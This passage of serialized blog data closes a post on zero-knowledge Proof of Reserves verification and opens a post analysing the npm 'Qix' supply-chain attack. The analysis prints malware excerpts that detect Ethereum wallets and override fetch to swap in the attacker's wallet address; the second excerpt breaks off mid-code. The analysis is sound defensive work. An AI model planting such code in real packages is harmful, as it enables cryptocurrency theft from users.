",{"type":23,"tag":92,"props":96248,"children":96250},{"className":96249},[],[96251],{"type":28,"value":96252},"merkle_tree.json",{"type":28,"value":242},{"type":23,"tag":92,"props":96255,"children":96257},{"className":96256},[],[96258],{"type":28,"value":96259},"final_proof.json",{"type":28,"value":5945},{"type":23,"tag":92,"props":96262,"children":96264},{"className":96263},[],[96265],{"type":28,"value":96266},"private_nonces.json",{"type":28,"value":96268}," files.",{"type":23,"tag":24,"props":96270,"children":96271},{},[96272],{"type":28,"value":96273},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":96275,"children":96276},{},[96277,96279,96285,96287,96292],{"type":28,"value":96278},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":92,"props":96280,"children":96282},{"className":96281},[],[96283],{"type":28,"value":96284},"inclusion_proof_\u003Cid>.json",{"type":28,"value":96286},"). ",{"type":23,"tag":55,"props":96288,"children":96289},{},[96290],{"type":28,"value":96291},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":720},{"type":23,"tag":9072,"props":96294,"children":96296},{"id":96295},"verifying",[96297],{"type":28,"value":96298},"Verifying",{"type":23,"tag":24,"props":96300,"children":96301},{},[96302],{"type":23,"tag":2532,"props":96303,"children":96304},{},[96305],{"type":28,"value":96306},"Global Proof",{"type":23,"tag":24,"props":96308,"children":96309},{},[96310,96312,96317,96318,96323],{"type":28,"value":96311},"To verify the global proof, the code deserializes the ",{"type":23,"tag":92,"props":96313,"children":96315},{"className":96314},[],[96316],{"type":28,"value":96252},{"type":28,"value":37048},{"type":23,"tag":92,"props":96319,"children":96321},{"className":96320},[],[96322],{"type":28,"value":96259},{"type":28,"value":96324}," files and performs these checks:",{"type":23,"tag":4890,"props":96326,"children":96327},{},[96328,96333,96338,96343,96369],{"type":23,"tag":4894,"props":96329,"children":96330},{},[96331],{"type":28,"value":96332},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":4894,"props":96334,"children":96335},{},[96336],{"type":28,"value":96337},"Verify the ZK final proof.",{"type":23,"tag":4894,"props":96339,"children":96340},{},[96341],{"type":28,"value":96342},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":4894,"props":96344,"children":96345},{},[96346,96348,96354,96356,96361,96362,96367],{"type":28,"value":96347},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":92,"props":96349,"children":96351},{"className":96350},[],[96352],{"type":28,"value":96353},"merkle_tree_hash",{"type":28,"value":96355}," public input. This ensures that the ",{"type":23,"tag":92,"props":96357,"children":96359},{"className":96358},[],[96360],{"type":28,"value":96252},{"type":28,"value":10458},{"type":23,"tag":92,"props":96363,"children":96365},{"className":96364},[],[96366],{"type":28,"value":96259},{"type":28,"value":96368}," are linked (they belong to the same global proof).",{"type":23,"tag":4894,"props":96370,"children":96371},{},[96372],{"type":28,"value":96373},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":96375,"children":96376},{},[96377],{"type":23,"tag":2532,"props":96378,"children":96379},{},[96380],{"type":28,"value":96381},"Inclusion Proof",{"type":23,"tag":24,"props":96383,"children":96384},{},[96385,96387,96392,96394,96399],{"type":28,"value":96386},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":92,"props":96388,"children":96390},{"className":96389},[],[96391],{"type":28,"value":96284},{"type":28,"value":96393}," file and also the ",{"type":23,"tag":92,"props":96395,"children":96397},{"className":96396},[],[96398],{"type":28,"value":96259},{"type":28,"value":96400},". After that, it performs these checks:",{"type":23,"tag":4890,"props":96402,"children":96403},{},[96404,96408,96413,96418],{"type":23,"tag":4894,"props":96405,"children":96406},{},[96407],{"type":28,"value":96337},{"type":23,"tag":4894,"props":96409,"children":96410},{},[96411],{"type":28,"value":96412},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":4894,"props":96414,"children":96415},{},[96416],{"type":28,"value":96417},"Recalculate the user-related node leaf hash.",{"type":23,"tag":4894,"props":96419,"children":96420},{},[96421],{"type":28,"value":96422},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":61,"props":96424,"children":96426},{"id":96425},"por-verifier-server",[96427],{"type":28,"value":96428},"PoR Verifier Server",{"type":23,"tag":24,"props":96430,"children":96431},{},[96432,96434,96440],{"type":28,"value":96433},"To automate the verification process, we created a ",{"type":23,"tag":31,"props":96435,"children":96437},{"href":92070,"rel":96436},[35],[96438],{"type":28,"value":96439},"verifier server",{"type":28,"value":96441}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":96443,"children":96444},{},[96445],{"type":28,"value":96446},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":96448,"children":96449},{},[96450],{"type":23,"tag":1116,"props":96451,"children":96453},{"alt":50084,"src":96452},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":96455,"children":96456},{},[96457],{"type":28,"value":96458},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":16158,"props":96460,"children":96461},{},[96462,96472,96482,96492,96502,96512],{"type":23,"tag":4894,"props":96463,"children":96464},{},[96465,96470],{"type":23,"tag":2532,"props":96466,"children":96467},{},[96468],{"type":28,"value":96469},"Status",{"type":28,"value":96471}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":4894,"props":96473,"children":96474},{},[96475,96480],{"type":23,"tag":2532,"props":96476,"children":96477},{},[96478],{"type":28,"value":96479},"Proof Timestamp",{"type":28,"value":96481}," --> when the proof was generated by the exchange.",{"type":23,"tag":4894,"props":96483,"children":96484},{},[96485,96490],{"type":23,"tag":2532,"props":96486,"children":96487},{},[96488],{"type":28,"value":96489},"Verify Timestamp",{"type":28,"value":96491}," --> when the proof was verified by the PoR server.",{"type":23,"tag":4894,"props":96493,"children":96494},{},[96495,96500],{"type":23,"tag":2532,"props":96496,"children":96497},{},[96498],{"type":28,"value":96499},"Proof File URL",{"type":28,"value":96501}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":4894,"props":96503,"children":96504},{},[96505,96510],{"type":23,"tag":2532,"props":96506,"children":96507},{},[96508],{"type":28,"value":96509},"Prover Version",{"type":28,"value":96511}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":4894,"props":96513,"children":96514},{},[96515,96520],{"type":23,"tag":2532,"props":96516,"children":96517},{},[96518],{"type":28,"value":96519},"File Hash (SHA256)",{"type":28,"value":96521}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":96523,"children":96524},{},[96525],{"type":28,"value":96526},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":96528,"children":96529},{},[96530],{"type":23,"tag":1116,"props":96531,"children":96533},{"alt":50084,"src":96532},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":96535,"children":96536},{},[96537,96539,96545,96547,96553],{"type":28,"value":96538},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":31,"props":96540,"children":96543},{"href":96541,"rel":96542},"https://backpack.exchange/reserves",[35],[96544],{"type":28,"value":96541},{"type":28,"value":96546}," and our verifier server for backpack at ",{"type":23,"tag":31,"props":96548,"children":96551},{"href":96549,"rel":96550},"https://backpack-por.osec.io/",[35],[96552],{"type":28,"value":96549},{"type":28,"value":720},{"type":23,"tag":61,"props":96555,"children":96557},{"id":96556},"self-verification",[96558],{"type":28,"value":96559},"Self-verification",{"type":23,"tag":24,"props":96561,"children":96562},{},[96563],{"type":28,"value":96564},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":9072,"props":96566,"children":96568},{"id":96567},"how-to-verify-if-i-was-included",[96569],{"type":28,"value":96570},"How to verify if I was included?",{"type":23,"tag":24,"props":96572,"children":96573},{},[96574],{"type":28,"value":96575},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":4890,"props":96577,"children":96578},{},[96579,96590,96608],{"type":23,"tag":4894,"props":96580,"children":96581},{},[96582,96589],{"type":23,"tag":31,"props":96583,"children":96586},{"href":96584,"rel":96585},"https://github.com/otter-sec/por_v2/releases",[35],[96587],{"type":28,"value":96588},"Download the PoRv2 executable from our github",{"type":28,"value":720},{"type":23,"tag":4894,"props":96591,"children":96592},{},[96593,96595,96600,96601,96606],{"type":28,"value":96594},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":92,"props":96596,"children":96598},{"className":96597},[],[96599],{"type":28,"value":96284},{"type":28,"value":10458},{"type":23,"tag":92,"props":96602,"children":96604},{"className":96603},[],[96605],{"type":28,"value":96259},{"type":28,"value":96607},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":4894,"props":96609,"children":96610},{},[96611,96613,96619],{"type":28,"value":96612},"Open the terminal and execute this: ",{"type":23,"tag":92,"props":96614,"children":96616},{"className":96615},[],[96617],{"type":28,"value":96618},"./plonky2_por verify-inclusion",{"type":28,"value":720},{"type":23,"tag":24,"props":96621,"children":96622},{},[96623],{"type":28,"value":96624},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":87,"props":96626,"children":96628},{"code":96627},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[96629],{"type":23,"tag":92,"props":96630,"children":96631},{"__ignoreMap":7},[96632],{"type":28,"value":96627},{"type":23,"tag":9072,"props":96634,"children":96636},{"id":96635},"how-can-i-verify-the-global-proof",[96637],{"type":28,"value":96638},"How can I verify the global proof?",{"type":23,"tag":24,"props":96640,"children":96641},{},[96642],{"type":28,"value":96643},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":4890,"props":96645,"children":96646},{},[96647,96656,96674],{"type":23,"tag":4894,"props":96648,"children":96649},{},[96650,96655],{"type":23,"tag":31,"props":96651,"children":96653},{"href":96584,"rel":96652},[35],[96654],{"type":28,"value":96588},{"type":28,"value":720},{"type":23,"tag":4894,"props":96657,"children":96658},{},[96659,96661,96666,96667,96672],{"type":28,"value":96660},"Download the ",{"type":23,"tag":92,"props":96662,"children":96664},{"className":96663},[],[96665],{"type":28,"value":96252},{"type":28,"value":37048},{"type":23,"tag":92,"props":96668,"children":96670},{"className":96669},[],[96671],{"type":28,"value":96259},{"type":28,"value":96673}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":4894,"props":96675,"children":96676},{},[96677,96679,96684],{"type":28,"value":96678},"Open the terminal and execute ",{"type":23,"tag":92,"props":96680,"children":96682},{"className":96681},[],[96683],{"type":28,"value":96618},{"type":28,"value":96685},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":96687,"children":96688},{},[96689],{"type":28,"value":96690},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":87,"props":96692,"children":96694},{"code":96693},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[96695],{"type":23,"tag":92,"props":96696,"children":96697},{"__ignoreMap":7},[96698],{"type":28,"value":96693},{"type":23,"tag":24,"props":96700,"children":96701},{},[96702],{"type":28,"value":96703},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":87,"props":96705,"children":96707},{"code":96706},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[96708],{"type":23,"tag":92,"props":96709,"children":96710},{"__ignoreMap":7},[96711],{"type":28,"value":96706},{"type":23,"tag":61,"props":96713,"children":96714},{"id":28425},[96715],{"type":28,"value":18423},{"type":23,"tag":24,"props":96717,"children":96718},{},[96719],{"type":28,"value":96720},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":96722,"children":96723},{},[96724,96726,96732],{"type":28,"value":96725},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":31,"props":96727,"children":96729},{"href":96541,"rel":96728},[35],[96730],{"type":28,"value":96731},"in production",{"type":28,"value":96733}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":96735,"children":96736},{},[96737,96739,96746],{"type":28,"value":96738},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":31,"props":96740,"children":96743},{"href":96741,"rel":96742},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[35],[96744],{"type":28,"value":96745},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":720},{"title":7,"searchDepth":147,"depth":147,"links":96748},[96749,96750,96751,96752,96755,96760,96764,96765,96769],{"id":91998,"depth":147,"text":92001},{"id":92079,"depth":147,"text":92082},{"id":92149,"depth":147,"text":92152},{"id":92203,"depth":147,"text":92206,"children":96753},[96754],{"id":92282,"depth":185,"text":92285},{"id":92370,"depth":147,"text":92373,"children":96756},[96757,96758,96759],{"id":92443,"depth":185,"text":92446},{"id":92915,"depth":185,"text":92918},{"id":94654,"depth":185,"text":94657},{"id":96233,"depth":147,"text":96236,"children":96761},[96762,96763],{"id":8744,"depth":185,"text":96241},{"id":96295,"depth":185,"text":96298},{"id":96425,"depth":147,"text":96428},{"id":96556,"depth":147,"text":96559,"children":96766},[96767,96768],{"id":96567,"depth":185,"text":96570},{"id":96635,"depth":185,"text":96638},{"id":28425,"depth":147,"text":18423},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":96774,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96775,"description":96776,"date":96777,"author":30695,"image":96778,"isFeatured":15,"onBlogPage":15,"tags":96781,"body":96784,"_type":2586,"_id":99210,"_source":2588,"_file":99211,"_stem":99212,"_extension":2591},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":96779,"width":96780,"height":13091},"/posts/supply-chain-attcks/title.png",1536,[96782,96783],"npm","supply-chain",{"type":20,"children":96785,"toc":99193},[96786,96799,96804,96809,96815,96820,96828,97158,97166,97729,97737,98444,98450,98455,98461,98466,98471,98477,98482,98494,98499,98525,98612,98624,98649,98665,98670,98675,98881,98923,98928,98940,98946,98958,99000,99013,99093,99105,99118,99125,99136,99144,99150,99163,99168,99172,99177,99189],{"type":23,"tag":24,"props":96787,"children":96788},{},[96789,96791,96797],{"type":28,"value":96790},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":92,"props":96792,"children":96794},{"className":96793},[],[96795],{"type":28,"value":96796},"chalk",{"type":28,"value":96798},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":96800,"children":96801},{},[96802],{"type":28,"value":96803},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":96805,"children":96806},{},[96807],{"type":28,"value":96808},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":61,"props":96810,"children":96812},{"id":96811},"qix-malware-how-it-worked",[96813],{"type":28,"value":96814},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":96816,"children":96817},{},[96818],{"type":28,"value":96819},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":4890,"props":96821,"children":96822},{},[96823],{"type":23,"tag":4894,"props":96824,"children":96825},{},[96826],{"type":28,"value":96827},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":87,"props":96829,"children":96831},{"code":96830,"language":30860,"meta":7,"className":30858,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[96832],{"type":23,"tag":92,"props":96833,"children":96834},{"__ignoreMap":7},[96835,96855,96867,96911,96928,96935,96971,96983,97011,97031,97051,97063,97070,97105,97125,97137,97144,97151],{"type":23,"tag":134,"props":96836,"children":96837},{"class":136,"line":137},[96838,96842,96846,96851],{"type":23,"tag":134,"props":96839,"children":96840},{"style":151},[96841],{"type":28,"value":35643},{"type":23,"tag":134,"props":96843,"children":96844},{"style":151},[96845],{"type":28,"value":37712},{"type":23,"tag":134,"props":96847,"children":96848},{"style":264},[96849],{"type":28,"value":96850}," checkethereumw",{"type":23,"tag":134,"props":96852,"children":96853},{"style":179},[96854],{"type":28,"value":15206},{"type":23,"tag":134,"props":96856,"children":96857},{"class":136,"line":147},[96858,96863],{"type":23,"tag":134,"props":96859,"children":96860},{"style":189},[96861],{"type":28,"value":96862},"  try",{"type":23,"tag":134,"props":96864,"children":96865},{"style":179},[96866],{"type":28,"value":463},{"type":23,"tag":134,"props":96868,"children":96869},{"class":136,"line":185},[96870,96874,96879,96883,96887,96891,96895,96899,96903,96907],{"type":23,"tag":134,"props":96871,"children":96872},{"style":151},[96873],{"type":28,"value":51174},{"type":23,"tag":134,"props":96875,"children":96876},{"style":162},[96877],{"type":28,"value":96878}," _0x124ed3",{"type":23,"tag":134,"props":96880,"children":96881},{"style":168},[96882],{"type":28,"value":171},{"type":23,"tag":134,"props":96884,"children":96885},{"style":189},[96886],{"type":28,"value":35709},{"type":23,"tag":134,"props":96888,"children":96889},{"style":162},[96890],{"type":28,"value":30903},{"type":23,"tag":134,"props":96892,"children":96893},{"style":179},[96894],{"type":28,"value":720},{"type":23,"tag":134,"props":96896,"children":96897},{"style":162},[96898],{"type":28,"value":30912},{"type":23,"tag":134,"props":96900,"children":96901},{"style":179},[96902],{"type":28,"value":720},{"type":23,"tag":134,"props":96904,"children":96905},{"style":264},[96906],{"type":28,"value":30988},{"type":23,"tag":134,"props":96908,"children":96909},{"style":179},[96910],{"type":28,"value":14609},{"type":23,"tag":134,"props":96912,"children":96913},{"class":136,"line":221},[96914,96919,96923],{"type":23,"tag":134,"props":96915,"children":96916},{"style":1461},[96917],{"type":28,"value":96918},"      'method'",{"type":23,"tag":134,"props":96920,"children":96921},{"style":162},[96922],{"type":28,"value":1697},{"type":23,"tag":134,"props":96924,"children":96925},{"style":1461},[96926],{"type":28,"value":96927}," \"eth_accounts\"\n",{"type":23,"tag":134,"props":96929,"children":96930},{"class":136,"line":332},[96931],{"type":23,"tag":134,"props":96932,"children":96933},{"style":179},[96934],{"type":28,"value":31752},{"type":23,"tag":134,"props":96936,"children":96937},{"class":136,"line":438},[96938,96942,96946,96951,96955,96959,96963,96967],{"type":23,"tag":134,"props":96939,"children":96940},{"style":189},[96941],{"type":28,"value":11746},{"type":23,"tag":134,"props":96943,"children":96944},{"style":179},[96945],{"type":28,"value":232},{"type":23,"tag":134,"props":96947,"children":96948},{"style":162},[96949],{"type":28,"value":96950},"_0x124ed3",{"type":23,"tag":134,"props":96952,"children":96953},{"style":179},[96954],{"type":28,"value":720},{"type":23,"tag":134,"props":96956,"children":96957},{"style":162},[96958],{"type":28,"value":7963},{"type":23,"tag":134,"props":96960,"children":96961},{"style":168},[96962],{"type":28,"value":13662},{"type":23,"tag":134,"props":96964,"children":96965},{"style":205},[96966],{"type":28,"value":208},{"type":23,"tag":134,"props":96968,"children":96969},{"style":179},[96970],{"type":28,"value":14272},{"type":23,"tag":134,"props":96972,"children":96973},{"class":136,"line":466},[96974,96979],{"type":23,"tag":134,"props":96975,"children":96976},{"style":264},[96977],{"type":28,"value":96978},"      runmask",{"type":23,"tag":134,"props":96980,"children":96981},{"style":179},[96982],{"type":28,"value":856},{"type":23,"tag":134,"props":96984,"children":96985},{"class":136,"line":479},[96986,96990,96994,96999,97003,97007],{"type":23,"tag":134,"props":96987,"children":96988},{"style":189},[96989],{"type":28,"value":38785},{"type":23,"tag":134,"props":96991,"children":96992},{"style":179},[96993],{"type":28,"value":232},{"type":23,"tag":134,"props":96995,"children":96996},{"style":162},[96997],{"type":28,"value":96998},"rund",{"type":23,"tag":134,"props":97000,"children":97001},{"style":168},[97002],{"type":28,"value":63895},{"type":23,"tag":134,"props":97004,"children":97005},{"style":205},[97006],{"type":28,"value":1729},{"type":23,"tag":134,"props":97008,"children":97009},{"style":179},[97010],{"type":28,"value":14272},{"type":23,"tag":134,"props":97012,"children":97013},{"class":136,"line":497},[97014,97019,97023,97027],{"type":23,"tag":134,"props":97015,"children":97016},{"style":162},[97017],{"type":28,"value":97018},"        rund",{"type":23,"tag":134,"props":97020,"children":97021},{"style":168},[97022],{"type":28,"value":171},{"type":23,"tag":134,"props":97024,"children":97025},{"style":205},[97026],{"type":28,"value":1729},{"type":23,"tag":134,"props":97028,"children":97029},{"style":179},[97030],{"type":28,"value":182},{"type":23,"tag":134,"props":97032,"children":97033},{"class":136,"line":518},[97034,97039,97043,97047],{"type":23,"tag":134,"props":97035,"children":97036},{"style":162},[97037],{"type":28,"value":97038},"        neth",{"type":23,"tag":134,"props":97040,"children":97041},{"style":168},[97042],{"type":28,"value":171},{"type":23,"tag":134,"props":97044,"children":97045},{"style":205},[97046],{"type":28,"value":1729},{"type":23,"tag":134,"props":97048,"children":97049},{"style":179},[97050],{"type":28,"value":182},{"type":23,"tag":134,"props":97052,"children":97053},{"class":136,"line":527},[97054,97059],{"type":23,"tag":134,"props":97055,"children":97056},{"style":264},[97057],{"type":28,"value":97058},"        newdlocal",{"type":23,"tag":134,"props":97060,"children":97061},{"style":179},[97062],{"type":28,"value":856},{"type":23,"tag":134,"props":97064,"children":97065},{"class":136,"line":780},[97066],{"type":23,"tag":134,"props":97067,"children":97068},{"style":179},[97069],{"type":28,"value":12131},{"type":23,"tag":134,"props":97071,"children":97072},{"class":136,"line":797},[97073,97077,97081,97085,97089,97093,97097,97101],{"type":23,"tag":134,"props":97074,"children":97075},{"style":179},[97076],{"type":28,"value":15249},{"type":23,"tag":134,"props":97078,"children":97079},{"style":189},[97080],{"type":28,"value":490},{"type":23,"tag":134,"props":97082,"children":97083},{"style":189},[97084],{"type":28,"value":15258},{"type":23,"tag":134,"props":97086,"children":97087},{"style":179},[97088],{"type":28,"value":232},{"type":23,"tag":134,"props":97090,"children":97091},{"style":162},[97092],{"type":28,"value":96998},{"type":23,"tag":134,"props":97094,"children":97095},{"style":168},[97096],{"type":28,"value":63895},{"type":23,"tag":134,"props":97098,"children":97099},{"style":205},[97100],{"type":28,"value":1729},{"type":23,"tag":134,"props":97102,"children":97103},{"style":179},[97104],{"type":28,"value":14272},{"type":23,"tag":134,"props":97106,"children":97107},{"class":136,"line":814},[97108,97113,97117,97121],{"type":23,"tag":134,"props":97109,"children":97110},{"style":162},[97111],{"type":28,"value":97112},"      rund",{"type":23,"tag":134,"props":97114,"children":97115},{"style":168},[97116],{"type":28,"value":171},{"type":23,"tag":134,"props":97118,"children":97119},{"style":205},[97120],{"type":28,"value":1729},{"type":23,"tag":134,"props":97122,"children":97123},{"style":179},[97124],{"type":28,"value":182},{"type":23,"tag":134,"props":97126,"children":97127},{"class":136,"line":827},[97128,97133],{"type":23,"tag":134,"props":97129,"children":97130},{"style":264},[97131],{"type":28,"value":97132},"      newdlocal",{"type":23,"tag":134,"props":97134,"children":97135},{"style":179},[97136],{"type":28,"value":856},{"type":23,"tag":134,"props":97138,"children":97139},{"class":136,"line":836},[97140],{"type":23,"tag":134,"props":97141,"children":97142},{"style":179},[97143],{"type":28,"value":533},{"type":23,"tag":134,"props":97145,"children":97146},{"class":136,"line":859},[97147],{"type":23,"tag":134,"props":97148,"children":97149},{"style":179},[97150],{"type":28,"value":5328},{"type":23,"tag":134,"props":97152,"children":97153},{"class":136,"line":868},[97154],{"type":23,"tag":134,"props":97155,"children":97156},{"style":179},[97157],{"type":28,"value":1098},{"type":23,"tag":4890,"props":97159,"children":97160},{"start":147},[97161],{"type":23,"tag":4894,"props":97162,"children":97163},{},[97164],{"type":28,"value":97165},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":87,"props":97167,"children":97169},{"code":97168,"language":30860,"meta":7,"className":30858,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[97170],{"type":23,"tag":92,"props":97171,"children":97172},{"__ignoreMap":7},[97173,97208,97265,97327,97342,97379,97418,97433,97472,97479,97512,97528,97587,97625,97650,97675,97699,97707,97722],{"type":23,"tag":134,"props":97174,"children":97175},{"class":136,"line":137},[97176,97180,97184,97188,97192,97196,97200,97204],{"type":23,"tag":134,"props":97177,"children":97178},{"style":264},[97179],{"type":28,"value":33591},{"type":23,"tag":134,"props":97181,"children":97182},{"style":168},[97183],{"type":28,"value":171},{"type":23,"tag":134,"props":97185,"children":97186},{"style":151},[97187],{"type":28,"value":35863},{"type":23,"tag":134,"props":97189,"children":97190},{"style":151},[97191],{"type":28,"value":37712},{"type":23,"tag":134,"props":97193,"children":97194},{"style":179},[97195],{"type":28,"value":232},{"type":23,"tag":134,"props":97197,"children":97198},{"style":168},[97199],{"type":28,"value":9054},{"type":23,"tag":134,"props":97201,"children":97202},{"style":162},[97203],{"type":28,"value":37726},{"type":23,"tag":134,"props":97205,"children":97206},{"style":179},[97207],{"type":28,"value":14272},{"type":23,"tag":134,"props":97209,"children":97210},{"class":136,"line":147},[97211,97215,97220,97224,97228,97233,97237,97241,97245,97249,97253,97257,97261],{"type":23,"tag":134,"props":97212,"children":97213},{"style":151},[97214],{"type":28,"value":35686},{"type":23,"tag":134,"props":97216,"children":97217},{"style":162},[97218],{"type":28,"value":97219}," 